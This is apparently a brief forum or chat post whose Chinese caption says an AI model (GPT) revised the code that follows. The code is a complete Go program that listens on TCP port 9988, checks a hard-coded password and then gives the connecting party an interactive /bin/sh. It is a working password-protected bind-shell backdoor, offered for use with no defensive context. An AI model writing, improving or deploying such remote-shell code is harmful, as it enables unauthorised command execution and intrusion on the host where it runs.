看看人家 gpt 修改后的
package main
import (
"bufio"
"io"
"log"
"net"
"os/exec"
"strings"
)
const password = "your_secure_password"
func main() {
listener, err := net.Listen("tcp", ":9988")
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on 0.0.0.0:9988")
for {
conn, err := listener.Accept()
log.Println("Received connection")
if err != nil {
log.Fatalln("Unable to accept connection")
}
go handle_pipe(conn)
}
}
func handle_pipe(conn net.Conn) {
defer conn.Close()
conn.Write([]byte("Enter password: "))
reader := bufio.NewReader(conn)
input, _ := reader.ReadString('\n')
input = strings.TrimSpace(input)
if input != password {
conn.Write([]byte("Incorrect password.\n"))
return
}
conn.Write([]byte("Access granted.\n"))
cmd := exec.Command("/bin/sh", "-i")
rp, wp := io.Pipe()
cmd.Stdin = conn
cmd.Stdout = wp
go io.Copy(conn, rp)
if err :=
cmd.Run(); err != nil {
log.Fatalln(err)
}
}